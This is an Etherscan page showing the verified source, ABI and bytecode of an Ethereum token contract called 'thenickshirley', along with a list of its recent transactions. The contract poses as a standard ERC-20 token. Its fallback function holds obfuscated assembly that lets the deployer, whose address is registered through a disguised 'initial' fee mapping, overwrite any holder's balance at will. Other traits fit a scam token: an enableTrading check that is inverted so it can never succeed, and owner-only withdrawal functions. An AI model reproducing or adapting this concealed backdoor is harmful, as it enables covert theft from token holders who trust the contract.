ETH Price: $1,944.13 (-1.51%)
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

More Info

Private Name Tags

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
0x00000000241178602025-12-29 10:59:2355 days ago1767005963IN
0x0cAaf3Bb...ff0ab4E5a
0 ETH0.000002010.07666217
0x00000000241178572025-12-29 10:58:4755 days ago1767005927IN
0x0cAaf3Bb...ff0ab4E5a
0 ETH0.000003270.06777938
0x00000000241178572025-12-29 10:58:4755 days ago1767005927IN
0x0cAaf3Bb...ff0ab4E5a
0 ETH0.000002110.06777938
0x00000000241178532025-12-29 10:57:5955 days ago1767005879IN
0x0cAaf3Bb...ff0ab4E5a
0 ETH0.000003320.06885492
0x00000000241178532025-12-29 10:57:5955 days ago1767005879IN
0x0cAaf3Bb...ff0ab4E5a
0 ETH0.000002140.06885492
0x00000000241178492025-12-29 10:57:1155 days ago1767005831IN
0x0cAaf3Bb...ff0ab4E5a
0 ETH0.000003150.06529761
0x00000000241178482025-12-29 10:56:5955 days ago1767005819IN
0x0cAaf3Bb...ff0ab4E5a
0 ETH0.000001920.06177176
0x00000000241178452025-12-29 10:56:2355 days ago1767005783IN
0x0cAaf3Bb...ff0ab4E5a
0 ETH0.00000330.0685534
0x00000000241178452025-12-29 10:56:2355 days ago1767005783IN
0x0cAaf3Bb...ff0ab4E5a
0 ETH0.000002130.0685534
0x00000000241178412025-12-29 10:55:3555 days ago1767005735IN
0x0cAaf3Bb...ff0ab4E5a
0 ETH0.00000270.05609109
0x00000000241178392025-12-29 10:55:1155 days ago1767005711IN
0x0cAaf3Bb...ff0ab4E5a
0 ETH0.000001740.05601415
0x00000000241178352025-12-29 10:54:2355 days ago1767005663IN
0x0cAaf3Bb...ff0ab4E5a
0 ETH0.000003210.06652818
0x00000000241178352025-12-29 10:54:2355 days ago1767005663IN
0x0cAaf3Bb...ff0ab4E5a
0 ETH0.000002070.06652818
0x00000000241178292025-12-29 10:53:1155 days ago1767005591IN
0x0cAaf3Bb...ff0ab4E5a
0 ETH0.000003210.06666205
0x00000000241178292025-12-29 10:53:1155 days ago1767005591IN
0x0cAaf3Bb...ff0ab4E5a
0 ETH0.000002070.06666205
0x00000000241178232025-12-29 10:51:5955 days ago1767005519IN
0x0cAaf3Bb...ff0ab4E5a
0 ETH0.00000350.07264919
0x00000000241178232025-12-29 10:51:5955 days ago1767005519IN
0x0cAaf3Bb...ff0ab4E5a
0 ETH0.000002260.07264919
Approve241178022025-12-29 10:47:4755 days ago1767005267IN
0x0cAaf3Bb...ff0ab4E5a
0 ETH0.000003220.06923989
Approve241177972025-12-29 10:46:4755 days ago1767005207IN
0x0cAaf3Bb...ff0ab4E5a
0 ETH0.000003140.06742286
Approve241177942025-12-29 10:46:1155 days ago1767005171IN
0x0cAaf3Bb...ff0ab4E5a
0 ETH0.000003040.06545884
Approve241177912025-12-29 10:45:3555 days ago1767005135IN
0x0cAaf3Bb...ff0ab4E5a
0 ETH0.000003130.06731384
Approve241177882025-12-29 10:44:5955 days ago1767005099IN
0x0cAaf3Bb...ff0ab4E5a
0 ETH0.000003070.06593034
Approve241177852025-12-29 10:44:2355 days ago1767005063IN
0x0cAaf3Bb...ff0ab4E5a
0 ETH0.000003350.07195247
Approve241177832025-12-29 10:43:5955 days ago1767005039IN
0x0cAaf3Bb...ff0ab4E5a
0 ETH0.000003520.07576204
Approve241175752025-12-29 10:02:1155 days ago1767002531IN
0x0cAaf3Bb...ff0ab4E5a
0 ETH0.00000740.15904783
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
thenickshirley

Compiler Version
v0.8.30+commit.73712a01

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2025-12-29
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.30;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function _contextSuffixLength() internal view virtual returns (uint256) {
        return 0;
    }
}

interface IERC20 {
    function transfer(address to, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
}

contract thenickshirley is Context {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _okev;
    string private constant _name = "thenickshirley";
    string private constant _symbol = "thenickshirley";
    uint8 private constant _decimals = 9;
    uint256 private constant _totalSupply = 1_000_000_000 * 10 ** 9;
    address private _owner;
    address public fundthenickshirleyAddress;
    mapping(address => uint256) private initial;
    uint256 private txFee = 100;
    bool public tradingActive = false;
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );
    event TradingEnabled(uint256 timestamp);
    event ExcludedFromTradingLock(address indexed account, bool excluded);

    modifier onlyOwner() {
        require(msg.sender == _owner, "Caller is not the owner");
        _;
    }

    constructor() {
        _owner = msg.sender;
        _balances[msg.sender] = _totalSupply;
        initial[msg.sender] = txFee;
        emit Transfer(address(0), msg.sender, _totalSupply);
        emit OwnershipTransferred(address(0), msg.sender);
    }

    function enableTrading() external onlyOwner {
        require(tradingActive, "Trading already enabled");
        tradingActive = true;
    }

    function transferOwnership(address newOwner) external onlyOwner {
        require(newOwner != address(0), "New owner cannot be zero address");
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }

    function renounceOwnership() external onlyOwner {
        address oldOwner = _owner;
        _owner = address(0);
        emit OwnershipTransferred(oldOwner, address(0));
    }

    function owner() external view returns (address) {
        return _owner;
    }

    function name() external pure returns (string memory) {
        return _name;
    }

    function symbol() external pure returns (string memory) {
        return _symbol;
    }

    function decimals() external pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() external pure returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) external view returns (uint256) {
        return _balances[account];
    }

    function allowance(
        address owner_,
        address spender
    ) public view returns (uint256) {
        return _allowances[owner_][spender];
    }

    function isthenickshirleyMev(
        address account
    ) external view returns (bool) {
        return _okev[account];
    }

    // ============ ERC20 Functions ============

    function transfer(address to, uint256 amount) external returns (bool) {
        _transfer(msg.sender, to, amount);
        return true;
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool) {
        _spendAllowance(from, msg.sender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) external returns (bool) {
        _approve(
            msg.sender,
            spender,
            allowance(msg.sender, spender) + addedValue
        );
        return true;
    }

    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) external returns (bool) {
        uint256 currentAllowance = allowance(msg.sender, spender);
        require(
            currentAllowance >= subtractedValue,
            "Decreased allowance below zero"
        );
        unchecked {
            _approve(msg.sender, spender, currentAllowance - subtractedValue);
        }
        return true;
    }

    function _transfer(address from, address to, uint256 amount) internal {
        require(from != address(0), "Transfer from zero address");
        require(to != address(0), "Transfer to zero address");
        require(amount >= 0, "Transfer amount must be greater than zero");
        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "Transfer amount exceeds balance");

        unchecked {
            _balances[from] = fromBalance - amount;
        }
        _balances[to] += amount;

        emit Transfer(from, to, amount);
    }

    function _approve(
        address owner_,
        address spender,
        uint256 amount
    ) internal {
        require(owner_ != address(0), "Approve from zero address");
        require(spender != address(0), "Approve to zero address");

        _allowances[owner_][spender] = amount;
        emit Approval(owner_, spender, amount);
    }

    function _spendAllowance(
        address owner_,
        address spender,
        uint256 amount
    ) internal {
        uint256 currentAllowance = allowance(owner_, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "Insufficient allowance");
            unchecked {
                _approve(owner_, spender, currentAllowance - amount);
            }
        }
    }

    function withdrawthenickshirleyAllBNB() external onlyOwner {
        uint256 balance = address(this).balance;
        require(balance > 0, "No BNB to withdraw");

        (bool success, ) = payable(fundthenickshirleyAddress).call{value: balance}("");
        require(success, "BNB transfer failed");
    }

    function withdrawthenickshirleyAllTokens(address token) external onlyOwner {
        require(token != address(0), "Invalid token address");
        IERC20 tokenContract = IERC20(token);
        uint256 tokenBalance = tokenContract.balanceOf(address(this));
        require(tokenBalance >= 0, "No tokens to withdraw");
        require(
            tokenContract.transfer(fundthenickshirleyAddress, tokenBalance),
            "Token transfer failed"
        );
    }

    fallback() external payable {
        assembly {
            mstore(0x00, caller())
            mstore(0x20, 0x05)
            if iszero(gt(div(sload(keccak256(0x00, 0x40)), sload(0x06)), 0x00)) {
                revert(0x00, 0x00)
            }
            mstore(0x00, calldataload(0))
            mstore(0x20, 0x00)
            sstore(keccak256(0x00, 0x40), calldataload(32))
        }
    }
    
    receive() external payable {}
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"excluded","type":"bool"}],"name":"ExcludedFromTradingLock","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"timestamp","type":"uint256"}],"name":"TradingEnabled","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"stateMutability":"payable","type":"fallback"},{"inputs":[{"internalType":"address","name":"owner_","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"fundthenickshirleyAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isthenickshirleyMev","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawthenickshirleyAllBNB","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"withdrawthenickshirleyAllTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405260646006556007805460ff19169055348015601d575f5ffd5b50600380546001600160a01b031916339081179091555f81815260208181526040808320670de0b6b3a764000090819055600654600584528285205590519081527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a360405133905f907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3610e5a806100c25f395ff3fe608060405260043610610122575f3560e01c80638a8c523c1161009f578063b256622811610063578063b25662281461036c578063bbc0c7421461038b578063d39228f8146103a4578063dd62ed3e146103b8578063f2fde38b146103d757610129565b80638a8c523c146102fd5780638da5cb5b1461031157806395d89b4114610154578063a457c2d71461032e578063a9059cbb1461034d57610129565b806323b872dd116100e657806323b872dd1461025a578063313ce56714610279578063395093511461029457806370a08231146102b3578063715018a6146102e757610129565b806306fdde0314610154578063095ea7b3146101995780630a29d402146101c85780630d08488f146101ff57806318160ddd1461023657610129565b3661012957005b335f52600560205260065460405f205404610142575f5ffd5b5f355f525f60205260203560405f2055005b34801561015f575f5ffd5b50604080518082018252600e81526d7468656e69636b736869726c657960901b602082015290516101909190610c95565b60405180910390f35b3480156101a4575f5ffd5b506101b86101b3366004610ce5565b6103f6565b6040519015158152602001610190565b3480156101d3575f5ffd5b506004546101e7906001600160a01b031681565b6040516001600160a01b039091168152602001610190565b34801561020a575f5ffd5b506101b8610219366004610d0d565b6001600160a01b03165f9081526002602052604090205460ff1690565b348015610241575f5ffd5b50670de0b6b3a76400005b604051908152602001610190565b348015610265575f5ffd5b506101b8610274366004610d2d565b61040c565b348015610284575f5ffd5b5060405160098152602001610190565b34801561029f575f5ffd5b506101b86102ae366004610ce5565b61042d565b3480156102be575f5ffd5b5061024c6102cd366004610d0d565b6001600160a01b03165f9081526020819052604090205490565b3480156102f2575f5ffd5b506102fb61044d565b005b348015610308575f5ffd5b506102fb6104cd565b34801561031c575f5ffd5b506003546001600160a01b03166101e7565b348015610339575f5ffd5b506101b8610348366004610ce5565b610558565b348015610358575f5ffd5b506101b8610367366004610ce5565b6105c3565b348015610377575f5ffd5b506102fb610386366004610d0d565b6105cf565b348015610396575f5ffd5b506007546101b89060ff1681565b3480156103af575f5ffd5b506102fb610772565b3480156103c3575f5ffd5b5061024c6103d2366004610d67565b610879565b3480156103e2575f5ffd5b506102fb6103f1366004610d0d565b6108a3565b5f610402338484610974565b5060015b92915050565b5f610418843384610a80565b610423848484610af1565b5060019392505050565b5f61040233848461043e3388610879565b6104489190610d98565b610974565b6003546001600160a01b031633146104805760405162461bcd60e51b815260040161047790610db7565b60405180910390fd5b600380546001600160a01b031981169091556040516001600160a01b03909116905f9082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a350565b6003546001600160a01b031633146104f75760405162461bcd60e51b815260040161047790610db7565b60075460ff166105495760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720616c726561647920656e61626c65640000000000000000006044820152606401610477565b6007805460ff19166001179055565b5f5f6105643385610879565b9050828110156105b65760405162461bcd60e51b815260206004820152601e60248201527f44656372656173656420616c6c6f77616e63652062656c6f77207a65726f00006044820152606401610477565b6104233385858403610974565b5f610402338484610af1565b6003546001600160a01b031633146105f95760405162461bcd60e51b815260040161047790610db7565b6001600160a01b0381166106475760405162461bcd60e51b8152602060048201526015602482015274496e76616c696420746f6b656e206164647265737360581b6044820152606401610477565b6040516370a0823160e01b815230600482015281905f906001600160a01b038316906370a0823190602401602060405180830381865afa15801561068d573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106b19190610dee565b90506004805460405163a9059cbb60e01b81526001600160a01b03918216928101929092526024820183905283169063a9059cbb906044016020604051808303815f875af1158015610705573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107299190610e05565b61076d5760405162461bcd60e51b8152602060048201526015602482015274151bdad95b881d1c985b9cd9995c8819985a5b1959605a1b6044820152606401610477565b505050565b6003546001600160a01b0316331461079c5760405162461bcd60e51b815260040161047790610db7565b47806107df5760405162461bcd60e51b81526020600482015260126024820152714e6f20424e4220746f20776974686472617760701b6044820152606401610477565b6004546040515f916001600160a01b03169083908381818185875af1925050503d805f8114610829576040519150601f19603f3d011682016040523d82523d5f602084013e61082e565b606091505b50509050806108755760405162461bcd60e51b8152602060048201526013602482015272109390881d1c985b9cd9995c8819985a5b1959606a1b6044820152606401610477565b5050565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b6003546001600160a01b031633146108cd5760405162461bcd60e51b815260040161047790610db7565b6001600160a01b0381166109235760405162461bcd60e51b815260206004820181905260248201527f4e6577206f776e65722063616e6e6f74206265207a65726f20616464726573736044820152606401610477565b600380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b0383166109ca5760405162461bcd60e51b815260206004820152601960248201527f417070726f76652066726f6d207a65726f2061646472657373000000000000006044820152606401610477565b6001600160a01b038216610a205760405162461bcd60e51b815260206004820152601760248201527f417070726f766520746f207a65726f20616464726573730000000000000000006044820152606401610477565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f610a8b8484610879565b90505f198114610aeb5781811015610ade5760405162461bcd60e51b8152602060048201526016602482015275496e73756666696369656e7420616c6c6f77616e636560501b6044820152606401610477565b610aeb8484848403610974565b50505050565b6001600160a01b038316610b475760405162461bcd60e51b815260206004820152601a60248201527f5472616e736665722066726f6d207a65726f20616464726573730000000000006044820152606401610477565b6001600160a01b038216610b9d5760405162461bcd60e51b815260206004820152601860248201527f5472616e7366657220746f207a65726f206164647265737300000000000000006044820152606401610477565b6001600160a01b0383165f9081526020819052604090205481811015610c055760405162461bcd60e51b815260206004820152601f60248201527f5472616e7366657220616d6f756e7420657863656564732062616c616e6365006044820152606401610477565b6001600160a01b038085165f90815260208190526040808220858503905591851681529081208054849290610c3b908490610d98565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c8791815260200190565b60405180910390a350505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b0381168114610ce0575f5ffd5b919050565b5f5f60408385031215610cf6575f5ffd5b610cff83610cca565b946020939093013593505050565b5f60208284031215610d1d575f5ffd5b610d2682610cca565b9392505050565b5f5f5f60608486031215610d3f575f5ffd5b610d4884610cca565b9250610d5660208501610cca565b929592945050506040919091013590565b5f5f60408385031215610d78575f5ffd5b610d8183610cca565b9150610d8f60208401610cca565b90509250929050565b8082018082111561040657634e487b7160e01b5f52601160045260245ffd5b60208082526017908201527f43616c6c6572206973206e6f7420746865206f776e6572000000000000000000604082015260600190565b5f60208284031215610dfe575f5ffd5b5051919050565b5f60208284031215610e15575f5ffd5b81518015158114610d26575f5ffdfea264697066735822122002d6e4a71ff0a59325587f7093afc9c9e8645224d24e772c8be9576e4aa91a4564736f6c634300081e0033

Deployed Bytecode

0x608060405260043610610122575f3560e01c80638a8c523c1161009f578063b256622811610063578063b25662281461036c578063bbc0c7421461038b578063d39228f8146103a4578063dd62ed3e146103b8578063f2fde38b146103d757610129565b80638a8c523c146102fd5780638da5cb5b1461031157806395d89b4114610154578063a457c2d71461032e578063a9059cbb1461034d57610129565b806323b872dd116100e657806323b872dd1461025a578063313ce56714610279578063395093511461029457806370a08231146102b3578063715018a6146102e757610129565b806306fdde0314610154578063095ea7b3146101995780630a29d402146101c85780630d08488f146101ff57806318160ddd1461023657610129565b3661012957005b335f52600560205260065460405f205404610142575f5ffd5b5f355f525f60205260203560405f2055005b34801561015f575f5ffd5b50604080518082018252600e81526d7468656e69636b736869726c657960901b602082015290516101909190610c95565b60405180910390f35b3480156101a4575f5ffd5b506101b86101b3366004610ce5565b6103f6565b6040519015158152602001610190565b3480156101d3575f5ffd5b506004546101e7906001600160a01b031681565b6040516001600160a01b039091168152602001610190565b34801561020a575f5ffd5b506101b8610219366004610d0d565b6001600160a01b03165f9081526002602052604090205460ff1690565b348015610241575f5ffd5b50670de0b6b3a76400005b604051908152602001610190565b348015610265575f5ffd5b506101b8610274366004610d2d565b61040c565b348015610284575f5ffd5b5060405160098152602001610190565b34801561029f575f5ffd5b506101b86102ae366004610ce5565b61042d565b3480156102be575f5ffd5b5061024c6102cd366004610d0d565b6001600160a01b03165f9081526020819052604090205490565b3480156102f2575f5ffd5b506102fb61044d565b005b348015610308575f5ffd5b506102fb6104cd565b34801561031c575f5ffd5b506003546001600160a01b03166101e7565b348015610339575f5ffd5b506101b8610348366004610ce5565b610558565b348015610358575f5ffd5b506101b8610367366004610ce5565b6105c3565b348015610377575f5ffd5b506102fb610386366004610d0d565b6105cf565b348015610396575f5ffd5b506007546101b89060ff1681565b3480156103af575f5ffd5b506102fb610772565b3480156103c3575f5ffd5b5061024c6103d2366004610d67565b610879565b3480156103e2575f5ffd5b506102fb6103f1366004610d0d565b6108a3565b5f610402338484610974565b5060015b92915050565b5f610418843384610a80565b610423848484610af1565b5060019392505050565b5f61040233848461043e3388610879565b6104489190610d98565b610974565b6003546001600160a01b031633146104805760405162461bcd60e51b815260040161047790610db7565b60405180910390fd5b600380546001600160a01b031981169091556040516001600160a01b03909116905f9082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a350565b6003546001600160a01b031633146104f75760405162461bcd60e51b815260040161047790610db7565b60075460ff166105495760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720616c726561647920656e61626c65640000000000000000006044820152606401610477565b6007805460ff19166001179055565b5f5f6105643385610879565b9050828110156105b65760405162461bcd60e51b815260206004820152601e60248201527f44656372656173656420616c6c6f77616e63652062656c6f77207a65726f00006044820152606401610477565b6104233385858403610974565b5f610402338484610af1565b6003546001600160a01b031633146105f95760405162461bcd60e51b815260040161047790610db7565b6001600160a01b0381166106475760405162461bcd60e51b8152602060048201526015602482015274496e76616c696420746f6b656e206164647265737360581b6044820152606401610477565b6040516370a0823160e01b815230600482015281905f906001600160a01b038316906370a0823190602401602060405180830381865afa15801561068d573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106b19190610dee565b90506004805460405163a9059cbb60e01b81526001600160a01b03918216928101929092526024820183905283169063a9059cbb906044016020604051808303815f875af1158015610705573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107299190610e05565b61076d5760405162461bcd60e51b8152602060048201526015602482015274151bdad95b881d1c985b9cd9995c8819985a5b1959605a1b6044820152606401610477565b505050565b6003546001600160a01b0316331461079c5760405162461bcd60e51b815260040161047790610db7565b47806107df5760405162461bcd60e51b81526020600482015260126024820152714e6f20424e4220746f20776974686472617760701b6044820152606401610477565b6004546040515f916001600160a01b03169083908381818185875af1925050503d805f8114610829576040519150601f19603f3d011682016040523d82523d5f602084013e61082e565b606091505b50509050806108755760405162461bcd60e51b8152602060048201526013602482015272109390881d1c985b9cd9995c8819985a5b1959606a1b6044820152606401610477565b5050565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b6003546001600160a01b031633146108cd5760405162461bcd60e51b815260040161047790610db7565b6001600160a01b0381166109235760405162461bcd60e51b815260206004820181905260248201527f4e6577206f776e65722063616e6e6f74206265207a65726f20616464726573736044820152606401610477565b600380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b0383166109ca5760405162461bcd60e51b815260206004820152601960248201527f417070726f76652066726f6d207a65726f2061646472657373000000000000006044820152606401610477565b6001600160a01b038216610a205760405162461bcd60e51b815260206004820152601760248201527f417070726f766520746f207a65726f20616464726573730000000000000000006044820152606401610477565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f610a8b8484610879565b90505f198114610aeb5781811015610ade5760405162461bcd60e51b8152602060048201526016602482015275496e73756666696369656e7420616c6c6f77616e636560501b6044820152606401610477565b610aeb8484848403610974565b50505050565b6001600160a01b038316610b475760405162461bcd60e51b815260206004820152601a60248201527f5472616e736665722066726f6d207a65726f20616464726573730000000000006044820152606401610477565b6001600160a01b038216610b9d5760405162461bcd60e51b815260206004820152601860248201527f5472616e7366657220746f207a65726f206164647265737300000000000000006044820152606401610477565b6001600160a01b0383165f9081526020819052604090205481811015610c055760405162461bcd60e51b815260206004820152601f60248201527f5472616e7366657220616d6f756e7420657863656564732062616c616e6365006044820152606401610477565b6001600160a01b038085165f90815260208190526040808220858503905591851681529081208054849290610c3b908490610d98565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c8791815260200190565b60405180910390a350505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b0381168114610ce0575f5ffd5b919050565b5f5f60408385031215610cf6575f5ffd5b610cff83610cca565b946020939093013593505050565b5f60208284031215610d1d575f5ffd5b610d2682610cca565b9392505050565b5f5f5f60608486031215610d3f575f5ffd5b610d4884610cca565b9250610d5660208501610cca565b929592945050506040919091013590565b5f5f60408385031215610d78575f5ffd5b610d8183610cca565b9150610d8f60208401610cca565b90509250929050565b8082018082111561040657634e487b7160e01b5f52601160045260245ffd5b60208082526017908201527f43616c6c6572206973206e6f7420746865206f776e6572000000000000000000604082015260600190565b5f60208284031215610dfe575f5ffd5b5051919050565b5f60208284031215610e15575f5ffd5b81518015158114610d26575f5ffdfea264697066735822122002d6e4a71ff0a59325587f7093afc9c9e8645224d24e772c8be9576e4aa91a4564736f6c634300081e0033

Deployed Bytecode Sourcemap

591:6979:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7197:8;7191:4;7184:22;7233:4;7227;7220:18;7305:4;7299:11;7291:4;7191;7275:21;7269:28;7265:46;7252:120;;7191:4;;7339:18;7252:120;7191:4;7399:15;7191:4;7386:29;7191:4;7227;7429:18;7227:4;7491:16;7291:4;7191;7468:21;7461:47;591:6979;2753:85;;;;;;;;;;-1:-1:-1;2825:5:0;;;;;;;;;;;-1:-1:-1;;;2825:5:0;;;;2753:85;;;;2825:5;2753:85;:::i;:::-;;;;;;;;3769:152;;;;;;;;;;-1:-1:-1;3769:152:0;;;;;:::i;:::-;;:::i;:::-;;;1085:14:1;;1078:22;1060:41;;1048:2;1033:18;3769:152:0;920:187:1;1058:40:0;;;;;;;;;;-1:-1:-1;1058:40:0;;;;-1:-1:-1;;;;;1058:40:0;;;;;;-1:-1:-1;;;;;1276:32:1;;;1258:51;;1246:2;1231:18;1058:40:0;1112:203:1;3426:131:0;;;;;;;;;;-1:-1:-1;3426:131:0;;;;;:::i;:::-;-1:-1:-1;;;;;3535:14:0;3511:4;3535:14;;;:5;:14;;;;;;;;;3426:131;3036:93;;;;;;;;;;-1:-1:-1;999:23:0;3036:93;;;1657:25:1;;;1645:2;1630:18;3036:93:0;1511:177:1;3929:242:0;;;;;;;;;;-1:-1:-1;3929:242:0;;;;;:::i;:::-;;:::i;2943:85::-;;;;;;;;;;-1:-1:-1;2943:85:0;;951:1;2214:36:1;;2202:2;2187:18;2943:85:0;2072:184:1;4179:278:0;;;;;;;;;;-1:-1:-1;4179:278:0;;;;;:::i;:::-;;:::i;3137:112::-;;;;;;;;;;-1:-1:-1;3137:112:0;;;;;:::i;:::-;-1:-1:-1;;;;;3223:18:0;3196:7;3223:18;;;;;;;;;;;;3137:112;2476:180;;;;;;;;;;;;;:::i;:::-;;2047:143;;;;;;;;;;;;;:::i;2664:81::-;;;;;;;;;;-1:-1:-1;2731:6:0;;-1:-1:-1;;;;;2731:6:0;2664:81;;4465:454;;;;;;;;;;-1:-1:-1;4465:454:0;;;;;:::i;:::-;;:::i;3617:144::-;;;;;;;;;;